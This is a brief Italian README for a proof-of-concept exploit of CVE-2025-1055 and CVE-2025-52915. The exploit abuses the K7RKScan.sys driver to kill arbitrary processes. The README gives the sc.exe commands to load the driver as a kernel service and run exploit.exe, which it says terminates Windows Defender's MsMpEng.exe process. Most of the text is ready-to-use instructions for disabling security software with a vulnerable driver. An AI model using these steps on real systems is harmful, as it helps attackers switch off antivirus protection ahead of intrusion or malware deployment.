
PoC per CVE-2025-1055 e CVE-2025-52915 usando K7RKScan.sys
PoC per CVE-2025-1055 e CVE-2025-52915 che utilizza K7RKScan.sys. Questo PoC utilizza l'IOCTL 0x222018 per terminare processi arbitrari.
Installazione del driver:
sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys
Esecuzione del PoC:
exploit.exe
Terminerà il processo MsMpEng.exe (Windows Defender).